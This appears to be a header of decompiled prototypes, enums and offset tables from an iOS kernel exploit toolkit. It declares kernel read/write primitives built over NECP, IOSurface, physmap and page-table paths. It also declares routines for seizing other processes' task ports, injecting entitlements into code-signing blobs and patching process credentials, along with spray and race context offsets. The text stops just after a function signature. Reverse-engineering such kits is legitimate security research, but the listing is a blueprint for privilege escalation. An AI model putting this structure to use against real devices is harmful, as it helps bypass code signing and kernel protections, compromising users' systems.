__int64 __fastcall acquire_write_semaphore_lock(__int64 a1, unsigned int a2, unsigned int a3);
__int64 __fastcall fd_close(int a1);
__int64 __fastcall fd_open_dev_null(int *fdOut);
__int64 __fastcall kreadbuf_via_dev_null_simple(struct_krwCtx *a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5);
__int64 __fastcall pipe_pair_krw(struct_krwCtx *a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5);
__int64 __fastcall init_necp_option_struct(__int64 result, __int64, __int64, __int64, int);
__int64 __fastcall krw_fd_verify_roundtrip(struct_krwCtx *a1, int *a2, unsigned __int64 a3);
__int64 __fastcall krw_read_thunk(struct_krwCtx *ctx, __int64 vaddr, __int64 size, void *outBuf);
bool __fastcall krw_ctx_has_read_caps(struct_krwCtx *ctx);
__int64 __fastcall setup_krw_engine(struct_krwCtx *ctx);
__int64 __fastcall teardown_krw_thread(struct_krwCtx *ctx);
__int64 __fastcall get_page_size_for_kaddr(__int64);
bool __fastcall has_valid_krw_path(struct_krwCtx *ctx);
__int64 __fastcall kreadbuf_via_dev_null_only(struct_krwCtx *ctx, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
__int64 __fastcall necp_semaphore_kread(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4);
__int64 __fastcall necp_fd_verify_roundtrip(__int64 a1, __int64 a2);
__int64 __fastcall pipe_krw_roundtrip_verify(__int64 a1);
__int64 __fastcall necp_ioconnect_krw(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
__int64 __fastcall teardown_semaphore_helper_ctx(__int64 a1, int a2);
__int64 __fastcall setup_iosurface_semaphore_helper(__int64 a1);
__int64 __fastcall kreadbuf_via_IOConnectCallMethod(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
__int64 __fastcall ioconnect_callmethod_write(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
__int64 __fastcall physmap_maybe(__int64 a1, vm_address_t *address, vm_size_t size, __int64 paddr);
__int64 __fastcall cleanup_ioconnect_resources(__int64 a1);
__int64 __fastcall setup_physmap_krw(__int64 a1, char a2);
__int64 __fastcall krw_read_validation(__int64 a1, char a2);
__int64 __fastcall map_physpage_with_mem_entry(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4);
__int64 __fastcall join_destroy_krw_thread(__int64 a1);
__int64 __fastcall iosurface_check_and_alloc_port(struct_krwCtx *a1);
__int64 __fastcall iosurface_call_struct_method_1(__int64 a1, mach_port_t *a2);
__int64 __fastcall find_map_iosurface_memory(struct_krwCtx *a1);
bool __fastcall kread_physmap_decorated(struct_krwCtx *a1, unsigned __int64 vaddr, unsigned __int64 *out);
bool __fastcall kwrite_physmap_with_a3_ptr(__int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall krw_write_validation(struct_krwCtx *a1);
unsigned __int64 __fastcall find_sptm_pgtable_state_block(__int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall teardown_sptm_pgtable_state(__int64 a1);
bool __fastcall noppl_kwrite32(__int64 a1, mach_vm_address_t address, int a3);
__int64 __fastcall iosurface_physmap_kwrite(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
bool __fastcall kread_u32(__int64 krwCtx, unsigned __int64 vaddr, void *outBuf);
__int64 __fastcall kreadbuf_via_dev_null_and_thread_state(struct_krwCtx *krwCtx, unsigned __int64 vaddr, __int64 outBuf, unsigned int size, int a5);
__int64 __fastcall kreadbuf_via_tfp0(vm_map_read_t target_task, __int64 vaddr, mach_vm_size_t size, mach_vm_size_t size2, __int64 outBuf, uint64_t *a6);
bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, uint64_t *a3);
unsigned __int64 __fastcall maybe_sptm_translate_kaddr(struct_krwCtx *a1, __int64 a2);
unsigned __int64 __fastcall krw_xpac_vaddr_2(struct_krwCtx *a1, __int64 a2);
unsigned __int64 __fastcall krw_xpac_vaddr(struct_krwCtx *a1, __int64 a2);
bool __fastcall kwrite64_last_arg(__int64 a1, mach_vm_address_t address, __int64 newValue, int whatIsThis);
bool __fastcall kwrite64(__int64 a1, mach_vm_address_t a2, __int64 a3);
__int64 __fastcall pgtable_walk_and_physmap_remap(struct_krwCtx *a1, __int64 a2, __int64 a3);
__int64 __fastcall kwrite_with_retry(__int64 ctx, __int64 address, const void *buf, mach_vm_size_t bufSize);
unsigned __int64 __fastcall port_right_index_to_kaddr(__int64 a1, unsigned int a2);
unsigned __int64 __fastcall decode_pte_to_physmap_addr(struct_krwCtx *a1, unsigned __int64 a2, uint32_t *a3);
bool __fastcall kreadbuf_universal(struct_krwCtx *krwCtx, unsigned __int64 vaddr, mach_vm_size_t size, void *outBuf, __int64 a5);
bool __fastcall kreadbuf_last_0(__int64 ctx, unsigned __int64 addr, mach_vm_size_t size, void *outBuf);
bool __fastcall noppl_kwritebuf(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5);
bool __fastcall kwritebuf_last_0(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4);
mach_vm_address_t __fastcall ppl_kwrite32(struct_krwCtx *a1, mach_vm_address_t a2, int a3);
int __fastcall kwrite64_dispatch(struct_krwCtx *a1, mach_vm_address_t address, __int64 newValue);
unsigned __int64 __fastcall kwritebuf_universal(uint64_t *a1, unsigned __int64 vaddr, const void *newBytes, mach_vm_size_t length);
__int64 __fastcall mach_vm_read_with_attr_chunks(vm_map_t target_task, mach_vm_address_t address, __int64 a3, mach_vm_size_t size, unsigned int a5);
__int64 __fastcall pgtable_write_aligned(struct_krwCtx *a1);
__int64 __fastcall semaphore_timedwait_ns(__int64 a1, unsigned int a2);
__int64 vtable_trampoline_b();
__int64 __fastcall necp_socket_fileport_setup(__int64 a1);
__int64 __fastcall semaphore_wait_wrapper(semaphore_t a1);
__int64 __fastcall semaphore_mem_acquire_thread(__int64 a1);
__int64 __fastcall ulock_wait_loop(__int64 a1);
kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3);
__int64 __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1);
__int64 __fastcall dmaFail_physwritebuf_ppl(__int64 a1, __int64 paddr, uint64_t *data, unsigned int size);
__int64 __fastcall necp_ioservice_auth_write(__int64 a1, __int64 a2);
__int64 __fastcall posix_spawn_with_sigdefault(const char **a1);
unsigned __int64 __fastcall walk_task_csblob_chain(struct_krwCtx *a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, unsigned __int64 *a5);
__int64 __fastcall get_csblob_offset_pair(__int64, int *, int *);
__int64 __fastcall get_csblob_size_pair(__int64, uint32_t *, uint32_t *);
__int64 __fastcall compute_sha_hash(int a1, const void *a2, CC_LONG a3, void *a4, uint32_t *a5);
__int64 __fastcall cfplist_compare_and_serialize(UInt8 *a1, CFIndex a2, UInt8 *a3, CFIndex a4, uint64_t *a5, uint64_t *a6, uint8_t *a7);
CFErrorRef __fastcall cfplist_from_bytes(UInt8 *bytes, CFIndex length);
bool __fastcall cfdict_compare_or_merge(const void *a1, const void *a2, uint8_t *a3);
void *__fastcall cfplist_serialize_xml(CFPropertyListRef propertyList, size_t *a2);
bool __fastcall csblob_inject_entitlement(struct_krwCtx *a1, unsigned int a2, const char *a3);
__int64 __fastcall csblob_read_and_patch(struct_krwCtx *a1, unsigned int a2, __int64 a3);
unsigned int *__fastcall csblob_find_entry(__int64 a1, int a2, int a3);
__int64 __fastcall csblob_replace_entry(__int64 a1, int a2, unsigned int *a3);
__int64 __fastcall csblob_apply_with_physmap_write(struct_krwCtx *a1, __int64 a2);
void __fastcall csblob_free_entry(__int64 a1);
__int64 __fastcall krw_inject_entitlements2_maybe(struct_krwCtx *a1, __int64 task, char *entitlementXml, char a4);
__int64 __fastcall ce_context_cfdata_transform(const UInt8 *a1, CFIndex a2, char *a3, uint64_t *a4, size_t *a5, uint8_t *a6);
__int64 __fastcall kread_task_slot_and_necp_set(struct_krwCtx *a1, __int64 a2, unsigned int a3, bool *a4);
uint32_t *__fastcall csblob_set_entry_data(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5);
__int64 __fastcall csblob_zero_entry_region(__int64 a1, unsigned int a2, int a3);
bool __fastcall ce_serialize_cfplist(const UInt8 *a1, CFIndex a2, __int64 a3);
uint32_t *__fastcall csblob_alloc_and_insert_entry(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5);
unsigned int *__fastcall csblob_repack_entries(__int64 a1, unsigned int a2);
__int64 __fastcall validate_physmap_range_6(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall physmap_pgtable_check_and_append(struct_krwCtx *a1, unsigned int a2);
mach_vm_address_t __fastcall kread_and_set_vm_attr(struct_krwCtx *a1, unsigned int a2);
mach_vm_address_t __fastcall pgtable_kread_vm_attr_loop(struct_krwCtx *a1, unsigned int a2, int a3);
mach_vm_address_t __fastcall setup_pgtable_and_patch_csblob(__int64 a1, unsigned int a2);
__int64 __fastcall csblob_set_cs_flags(__int64 a1, __int64 a2);
__int64 __fastcall walk_proc_and_get_csblob_addr(struct_krwCtx *a1, unsigned int a2, unsigned __int64 *a3);
__int64 __fastcall csblob_chain_walk_offsets(struct_krwCtx *a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5);
__int64 __fastcall krw_read_with_version_check(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, bool *a4);
__int64 __fastcall kwrite_with_version_check(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3, int a4);
__int64 __fastcall setup_physmap_and_wire_region(__int64 a1, unsigned int a2, unsigned __int64 a3, mach_vm_size_t a4, vm_prot_t a5, int a6, int a7);
bool __fastcall csblob_modify_entitlement_bits(struct_krwCtx *a1, unsigned int a2, int a3, int a4);
__int64 __fastcall check_csblob_patchable(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall patch_csblob_in_all_procs(struct_krwCtx *a1, unsigned int a2, __int64 a3);
__int64 __fastcall walk_csblob_chain_for_offset(struct_krwCtx *a1, int a2);
unsigned __int64 __fastcall proc_kread_and_patch_slot(struct_krwCtx *a1, unsigned int a2, __int64 a3);
__int64 __fastcall csblob_find_slot_by_pair(__int64 result, int a2, int a3);
void *__fastcall csblob_dup_entry(unsigned int *a1);
void __fastcall csblob_bzero_and_free(uint32_t *a1);
void __fastcall csblob_proc_patch_dispatch(__int64 a1);
uint32_t *__fastcall csblob_alloc_and_fill_slots(__int64 a1, uint64_t *a2, size_t *a3, unsigned int *a4, unsigned int *a5, unsigned int *a6);
__int64 __fastcall wire_proc_page_via_kobject(struct_krwCtx *a1, __int64 a2, mach_vm_address_t *a3, uint64_t *a4, int *a5);
__int64 __fastcall csblob_compute_and_copy_hash(__int64 a1, void *a2);
__int64 __fastcall physmap_kwrite_chain_entry(struct_krwCtx *a1, unsigned __int64 a2, unsigned int a3, const void *a4, mach_vm_size_t a5);
__int64 __fastcall get_version_specific_offset(struct_krwCtx *a1);
__int64 __fastcall get_dyld_slide_info(__int64 a1);
__int64 __fastcall spinlock_acquire_clear_bit(__int64 a1);
__int64 __fastcall dyld_fcntl59_mmap_setup(__int64 a1, int *a2);
__int64 __fastcall scan_iosurface_slot_realtime(__int64 a1);
uint64_t *__fastcall alloc_physmap_page_aligned(struct_krwCtx *a1, unsigned int *a2);
void __fastcall csblob_free_array(unsigned int *a1);
__int64 __fastcall csblob_realloc_array(unsigned int *a1, int a2, __int64 a3);
uint64_t *csblob_alloc_container();
__int64 __fastcall pread_loop(int __fd, __int64 a2, unsigned __int64 a3, __int64 a4);
__int64 __fastcall ipc_port_kobject_field_offset(struct_krwCtx *ctx, __int64 ipc_port);
unsigned __int64 __fastcall maybe_ipc_port_get_kobject(struct_krwCtx *a1, unsigned __int64 ipc_port_kaddr);
__int64 __fastcall get_task_struct_offset(__int64, __int64);
__int64 __fastcall get_ipc_port_offset_by_version(__int64, __int64);
__int64 __fastcall get_privileged_host_port(__int64 a1);
__int64 __fastcall get_task_struct_cached_offset(__int64);
unsigned __int64 __fastcall get_task_kobject_addr(struct_krwCtx *a1, mach_port_t a2);
unsigned __int64 __fastcall lookup_or_resolve_kaddr(__int64 a1);
unsigned __int64 __fastcall task_self_get_ipc_port(struct_krwCtx *ctx, mach_port_t port);
__int64 __fastcall kreadptr(struct_krwCtx *krwCtx, __int64 addr);
__int64 __fastcall get_task_pid_offset(__int64);
__int64 __fastcall task_proc_struct_field_offset(struct_krwCtx *a1);
__int64 __fastcall get_ptrauth_data_ptr_offset(struct_krwCtx *a1);
__int64 __fastcall get_context_version_offset_40(__int64);
__int64 __fastcall get_context_version_offset_112(__int64);
__int64 __fastcall get_version_adjusted_offset(__int64 a1);
unsigned __int64 __fastcall get_ptrauth_base_offset(__int64 a1, unsigned int a2);
__int64 __fastcall read_kaddr_at_task_offset(struct_krwCtx *a1, __int64 a2);
__int64 __fastcall get_task_context_size(__int64);
__int64 __fastcall krw_task_for_pid_0(struct_krwCtx *a1, __int64 a2, int pid);
__int64 __fastcall krw_task_for_pid_or_name_ret_x0(struct_krwCtx *a1, __int64 a2, int pid, const char *a4);
__int64 __fastcall krw_task_for_name(struct_krwCtx *a1, __int64 a2, const char *a3);
__int64 __fastcall read_pte_entry_chain(struct_krwCtx *a1, __int64 a2, uint32_t *a3, uint32_t *a4);
__int64 __fastcall setup_task_port_chain(__int64 a1, mach_port_name_t task, uint32_t *a3, uint32_t *a4);
__int64 __fastcall task_get_ipc_port_ptr(struct_krwCtx *a1, mach_port_name_t task, mach_port_t port);
__int64 __fastcall task_self_get_ipc_port_ptr(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall task_get_ipc_port(struct_krwCtx *ctx, mach_port_name_t task, mach_port_t port);
__int64 __fastcall walk_kaddr_chain_to_target(struct_krwCtx *a1, __int64 a2, char a3);
__int64 __fastcall traverse_sptm_pgtable_chain(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3);
unsigned __int64 __fastcall find_kernel_struct_addr(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall scan_and_validate_kaddr(__int64 krwCtx, unsigned int port, unsigned __int64 a3, unsigned __int64 *a4);
unsigned __int64 __fastcall kread_task_struct(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall walk_task_kaddr_chain(struct_krwCtx *a1, __int64 a2);
unsigned __int64 __fastcall get_task_kobj_and_walk_chain(struct_krwCtx *a1, mach_port_t a2);
unsigned __int64 __fastcall resolve_task_kobj_kaddr(struct_krwCtx *a1, __int64 a2, uint64_t *a3);
__int64 __fastcall get_kobj_and_resolve_kaddr(struct_krwCtx *a1, unsigned int a2, uint64_t *a3);
unsigned __int64 __fastcall get_task_kobj_kaddr_with_flags(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall get_task_kobj_dispatch(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall get_task_kobj_via_physmap(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall thread_port_field_offset(struct_krwCtx *a1);
__int64 __fastcall get_task_kobj_with_offset(__int64 a1, unsigned int a2);
unsigned __int64 __fastcall get_task_csflags_kaddr(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall kread_physmap_two_hops(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall get_task_struct_csblob_offset(__int64);
__int64 __fastcall get_task_struct_small_offset(__int64);
__int64 __fastcall walk_task_context_to_kobj(struct_krwCtx *a1, __int64 a2);
unsigned __int64 __fastcall task_struct_field_kread(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall kread_task_port_entry(__int64 a1, __int64 a2);
__int64 __fastcall necp_set_opt_string_6(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall get_task_port_kaddr(struct_krwCtx *a1, unsigned int a2, int a3);
unsigned __int64 __fastcall get_task_port_kaddr_checked(struct_krwCtx *a1, unsigned int a2, int a3, unsigned int *a4);
unsigned __int64 __fastcall get_task_port_kaddr_wrap(struct_krwCtx *a1, unsigned int a2, unsigned int *a3);
__int64 __fastcall find_proc_kobj_via_processors(__int64 a1, int a2, __int64 a3, unsigned int *a4);
__int64 __fastcall get_task_port_offset(__int64);
__int64 __fastcall get_task_version_field(__int64, __int64);
unsigned __int64 __fastcall get_mach_task_port_slot(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall kread_mach_task_port_slot(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall kread_mach_task_port_slot_plus80(struct_krwCtx *a1, unsigned int a2);
unsigned __int64 __fastcall get_ipc_port_kaddr_via_host(__int64 a1, int a2);
__int64 __fastcall get_task_bsd_info_kaddr(struct_krwCtx *a1, unsigned int a2, __int64 *a3);
__int64 __fastcall get_port_set_kaddr(struct_krwCtx *a1, int a2, __int64 *a3);
__int64 __fastcall validate_port_set_chain(struct_krwCtx *a1, int a2, __int64 *a3);
unsigned __int64 __fastcall kernel_va_base_resolver(struct_krwCtx *a1, int a2, uint32_t *a3);
int __fastcall necp_set_opt_string_7(struct_krwCtx *a1, unsigned int a2, __int64 a3);
mach_vm_address_t __fastcall ipc_port_kread_and_vm_attr(__int64 a1, __int64 a2, int a3);
__int64 __fastcall kread_modify_u32_with_delta(struct_krwCtx *a1, __int64 a2, int a3);
__int64 __fastcall kread_and_vm_attr_double(struct_krwCtx *a1, __int64 a2);
__int64 __fastcall vm_attr_increment_offset_bounded(struct_krwCtx *a1, unsigned __int64 a2, int a3);
__int64 __fastcall vm_attr_increment_offset_check(struct_krwCtx *a1, unsigned __int64 a2);
__int64 __fastcall vm_attr_field_offset_add4_check(__int64 a1, __int64 a2);
uint32_t *__fastcall krw_ctx_set_flag(uint32_t *result, int);
uint32_t *__fastcall krw_ctx_clr_flag(uint32_t *result, int);
bool __fastcall krw_ctx_has_flag(struct_krwCtx *krwCtx, int flag);
__int64 __fastcall get_task_struct_offset_cached(__int64 a1);
__int64 __fastcall lookup_physmap_page_slot(struct_krwCtx *a1, unsigned int a2, __int64 *a3);
__int64 __fastcall cache_physmap_page_slot(__int64 a1, unsigned int a2, __int64 a3);
bool __fastcall voucher_create_mach_voucher(__int64 a1, __int64 a2, ipc_voucher_t *voucherOut);
__int64 __fastcall create_mach_port_with_a2(__int64 krwCtx, unsigned int a2);
__int64 __fastcall create_mach_port(int a1);
__int64 __fastcall validate_physmap_range_7(__int64 a1, unsigned int a2);
uint32_t __fastcall plist_elem_is_string_6(struct_krwCtx *a1, unsigned __int64 a2, mach_port_name_t *a3);
uint64_t *__fastcall build_csblob_buf_from_load_cmds(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall map_shared_mem_and_transfer_data(__int64 a1, __int64 a2, __int64 size);
unsigned __int64 __fastcall alloc_physmap_page(__int64 a1, unsigned int *a2);
unsigned __int64 __fastcall alloc_physmap_scratch_page(__int64 a1, uint32_t *a2);
__int64 __fastcall kwrite_task_kobj_field_via_physmap(struct_krwCtx *a1, unsigned int a2, int a3, int a4, __int16 a5);
__int64 __fastcall check_krw_capabilities_version(int *, int *, int *, int *, int *);
__int64 __fastcall get_proc_kobj_pair_cached(__int64 a1, int a2, uint64_t *a3);
__int64 __fastcall port_table_lookup_v1(int *a1, __int64 a2, int a3, int a4, __int16 a5);
__int64 __fastcall map_physpage_with_ports(struct_krwCtx *a1, __int64 a2, int a3, int a4, __int16 a5);
unsigned __int64 __fastcall translate_physmap_addr_via_segments(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4);
__int64 __fastcall init_or_get_kread_pattern_table(__int64 a1);
unsigned __int64 __fastcall map_physpage_to_user(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4);
__int64 __fastcall map_physpage_for_kobj(struct_krwCtx *a1, unsigned __int64 a2);
__int64 __fastcall resolve_physpage_addr(struct_krwCtx *a1, unsigned __int64 a2);
__int64 __fastcall iterate_active_threads(__int64 a1);
uint32_t __fastcall physmap_map_cached(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 a3);
__int64 __fastcall physmap_unmap_cached(__int64 a1, __int64 a2);
__int64 __fastcall append_kaddr_to_physmem_table(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall read_via_mapped_physmem_region(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5);
__int64 __fastcall physwritebuf_direct_mapped(struct_krwCtx *krwCtx, unsigned __int64 paddr, const void *buf, unsigned int size, int something);
__int64 __fastcall check_krw_read_thunk_ok(struct_krwCtx *a1, __int64 a2, __int64 a3);
__int64 __fastcall kwrite_u16_at_plus8(__int64 a1, __int64 a2, __int16 a3);
__int64 __fastcall u16_add10_clamped(unsigned int);
__int64 __fastcall kread_and_kwrite_u16_plus8_bumped(struct_krwCtx *a1, __int64 a2);
uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2);
__int64 __fastcall task_thread_port_cred_patch(__int64 x0_0);
unsigned __int64 __fastcall kernel_get_base_slid(struct_krwCtx *ctx, unsigned __int64 optional_vtable_func);
__int64 __fastcall init_pgtable_walk_ctx(__int64 a1, unsigned __int64 a2);
unsigned __int64 __fastcall init_kread_pattern_addrs(uint64_t *a1);
void __usercall resolve_kernel_text_range(SearchObj *x8_0, struct_krwCtx *a2);
__int64 __fastcall check_task_dyld_info_versioned(struct_krwCtx *a1, task_name_t target_task, int a3, const void *a4, mach_vm_size_t a5);
__int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4);
bool __fastcall kwrite_task_dispatch_via_kobj(struct_krwCtx *someCtx, unsigned int a2, unsigned int a3);
bool __fastcall pthread_create_and_join(__int64 a1, __int64 a2, void *a3);
__int64 __fastcall get_or_set_uid_cred_in_task(__int64 a1, int a2, int a3, int a4);
bool __fastcall kread_u32_modify_lo10_kwrite(__int64 a1, unsigned __int64 a2, int a3, int *a4);
__int64 __fastcall insert_task_port_send_right_versioned(__int64 a1, task_name_t a2);
unsigned __int64 __fastcall get_kernel_task_host_port(__int64 a1);
unsigned __int64 __fastcall get_ioservice_conn_port(__int64 a1);
__int64 __fastcall kread_proc_kobj_entitlement_data(__int64 a1, unsigned int a2);
int __fastcall necp_send_msg_3(__int64 a1, unsigned int a2, int a3);
__int64 __fastcall get_task_port_pid_field_offset(struct_krwCtx *a1, unsigned int a2);
bool __fastcall kread_proc_kobj_entitlement_full(__int64 a1, unsigned int a2, int a3, int a4, int a5);
mach_vm_address_t __fastcall set_proc_flag_bit7_kwrite(struct_krwCtx *a1, unsigned int a2, int a3);
unsigned __int64 __fastcall get_proc_kobj_exec_flags(struct_krwCtx *a1, unsigned int a2, bool *a3, bool *a4, bool *a5);
int set_task_special_port_and_patch_uid(struct_krwCtx *ctx, task_inspect_t task, mach_port_t a3);
bool __fastcall krw_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3);
bool __fastcall krw_task_for_pid_or_name_ret_ptr(__int64 a1, int victim_pid, const char *victim_process_name, mach_port_name_t *out_task);
bool __fastcall set_thread_state_versioned(struct_krwCtx *a1, int a2, thread_act_t a3, thread_state_flavor_t a4, natural_t *a5, mach_msg_type_number_t a6);
__int64 __fastcall thread_set_state_with_kobj_offset(struct_krwCtx *a1, thread_act_t target_act, thread_state_flavor_t flavor, thread_state_t new_state, mach_msg_type_number_t new_stateCnt);
unsigned __int64 __fastcall find_kernel_base_ptr(struct_krwCtx *a1);
__int64 __fastcall refresh_target_task_port(__int64 a1, unsigned int a2, int a3, uint8_t *a4);
__int64 __fastcall physmap_kread(struct_krwCtx *a1, unsigned int a2);
__int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something);
bool __fastcall validate_ipc_kobject_read(struct_krwCtx *a1, mach_port_t a2);
__int64 __fastcall driver_init2(struct_krwCtx **krwCtxOut, char something);
__int64 __fastcall free_decompressed_macho(uint64_t *a1);
__int64 __fastcall driver_dispatch_command2(
        struct_krwCtx *krwCtx,
        int cmd,
        __int64 cmdMirror,
        __int64 arg0,
        __int64 arg1,
        __int64 arg2,
        __int64 arg3,
        __int64 arg4,
        __int64 inoutValue);
__int64 __fastcall driver_dispatch_command3(struct_krwCtx *krwCtx, int cmd, __int64 inoutValue);
__int64 __fastcall reinit_and_refresh_krw_ctx(__int64 a1);
__int64 __fastcall driver_close_internal(char *a1);
__int64 __fastcall set_flags_something_INEEDTOLOOK_sub_3F8C0(__int64 a1, unsigned int a2, int a3, int a4);
bool __fastcall check_krw_necp_state(struct_krwCtx *a1, bool *a2);
bool __fastcall check_dispatch_krw_state(struct_krwCtx *a1, int a2);
bool __fastcall find_kernel_text_exec_section(__int64 a1, __int64 *a2, __int64 *a3);
int __fastcall update_physmap_table_entry_count(__int64 a1, task_inspect_t a2, host_t *a3);
uint64_t *__fastcall alloc_kobj_snapshot_buf(__int64 a1, __int64 a2);
__int64 __fastcall read_u32_from_kobj_snapshot(__int64, uint64_t *, __int64);
unsigned __int64 __fastcall kobj_snapshot_lookup_wrapper(uint64_t **a1, __int64 a2, __int64 a3, unsigned int a4);
unsigned __int64 __fastcall kobj_snapshot_pattern_search(__int64, uint64_t *, __int64, __int64, unsigned int);
unsigned __int64 __fastcall kobj_snapshot_pattern_search_via_ctx(__int64 a1, __int64 a2, __int64 a3, unsigned int a4);
uint64_t *__fastcall find_section_in_macho_snapshot(__int64 a1, const char *a2);
__int64 __fastcall init_text_exec_data_const_sections(uint64_t *a1);
__int64 __fastcall compute_optimal_kobj_stride(__int64 result, __int64);
__int64 __fastcall compute_kobj_scan_halfstride(__int64);
__int64 __fastcall get_voucher_attr_recipe_versioned(__int64, __int128 *, uint32_t *);
__int64 __fastcall voucher_attr_recipe_scan(__int64 a1, unsigned int a2);
__int64 __fastcall find_aligned_kaddr_in_region(__int64, unsigned __int64, unsigned int, unsigned int);
unsigned __int64 __fastcall kernel_cstring_pattern_scan(__int64 a1, const char *a2);
__int64 __fastcall find_kfunc_ptr_in_kernel_data(struct_krwCtx *a1, __int64 a2);
__int64 __fastcall scan_kernel_page_for_pattern(struct_krwCtx *a1, __int64 a2, mach_vm_size_t a3, unsigned __int64 a4, __int64 (__fastcall *a5)(__int64, __int64), __int64 a6);
__int64 __fastcall resolve_kfunc_via_page_dispatch(struct_krwCtx *a1, __int64 a2, unsigned int a3, __int64 *a4, __int64 (__fastcall *a5)(__int64, __int64), __int64 a6);

typedef enum krw_setup_path {
  KRW_SETUP_PATH_VOUCHER = 0,
  KRW_SETUP_PATH_PORTS_VM = 1,
  KRW_SETUP_PATH_IOSURFACE = 2,
  KRW_SETUP_PATH_IOGPU = 3,
} krw_setup_path_t;

typedef struct krw_thread_state_mapping {
  vm_address_t mappedAddress;
  vm_size_t mappedSize;
  pthread_t suspendedThread;
  thread_act_t machThread;
  uint32_t statePageOffset;
} krw_thread_state_mapping_t;

enum
{
  KRW_CTX_SIZE = 0x1D60,
  KRW_CTX_OLD_PTRAUTH_BASE_OFFSET = 0x228,
  KRW_CTX_OLD_SELF_TASK_IPC_OFFSET = 0x230,
  KRW_CTX_NECP_TRIGGER_ADDR_OFFSET = 0x218,
  KRW_CTX_PPL_DATA_CONST_PTR_OFFSET = 0x220,
  KRW_CTX_SHARED_MEM_PORT_OFFSET = 0xE8,
  KRW_CTX_SHARED_MEM_USER_ADDR_OFFSET = 0xF8,
  KRW_CTX_SHARED_MEM_KERN_ADDR_OFFSET = 0x100,
  KRW_CTX_PIPE_READ_FD_OFFSET = 0x1930,
  KRW_CTX_PIPE_WRITE_FD_OFFSET = 0x1934,
  KRW_CTX_IOSURFACE_FD_OFFSET = 0x1940,
  KRW_CTX_NECP_FD_OFFSET = 0x1944,
  KRW_CTX_NECP_UUID_OFFSET = 0x1948,
  KRW_CTX_NECP_PORT_SET_KADDR_OFFSET = 0x1958,
  KRW_CTX_THREAD_STATE_MAPPING_OFFSET = 0x1D50,
  KRW_THREAD_STATE_OFFSET_A12_TO_A17 = 0xB8,
  KRW_THREAD_STATE_OFFSET_PRE_A11 = 0x100,
  KRW_THREAD_STATE_OFFSET_A17 = 0x108,
};

#define KRW_CTX_AT(ctx, type, offset) (*(type *)((char *)(ctx) + (offset)))

enum
{
  PHYSMAP_CTX_SPRAY_PAGES_OFFSET = 0x30,
  PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET = 0x440,
  PHYSMAP_CTX_REGION_A_LIST_OFFSET = 0x468,
  PHYSMAP_CTX_REGION_A_INDEX_OFFSET = 0x478,
  PHYSMAP_CTX_REGION_B_LIST_OFFSET = 0x490,
  PHYSMAP_CTX_REGION_B_INDEX_OFFSET = 0x4A0,
  PHYSMAP_CTX_COPY_THREAD_A_OFFSET = 0x4F8,
  PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET = 0x500,
  PHYSMAP_CTX_COPY_THREAD_B_OFFSET = 0x508,
  PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET = 0x510,
  PHYSMAP_CTX_RESTORE_ENTRY_A_OFFSET = 0x4B8,
  PHYSMAP_CTX_RESTORE_ENTRY_B_OFFSET = 0x4D8,
  PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET = 0x598,
  PHYSMAP_CTX_RACE_SOURCE_A_OFFSET = 0x5D8,
  PHYSMAP_CTX_RACE_SOURCE_B_OFFSET = 0x5E0,
  PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET = 0x38,
  PHYSMAP_PAGE_ENTRY_BACKING_OFFSET = 0xA0,
};

#define PHYSMAP_CTX_AT(ctx, type, offset) (*(type *)((char *)(ctx) + (offset)))

static krw_setup_path_t krw_select_setup_path(struct_krwCtx *krwCtx)
{
  uint64_t xnuVersionPacked = krwCtx->xnuVersionPacked;
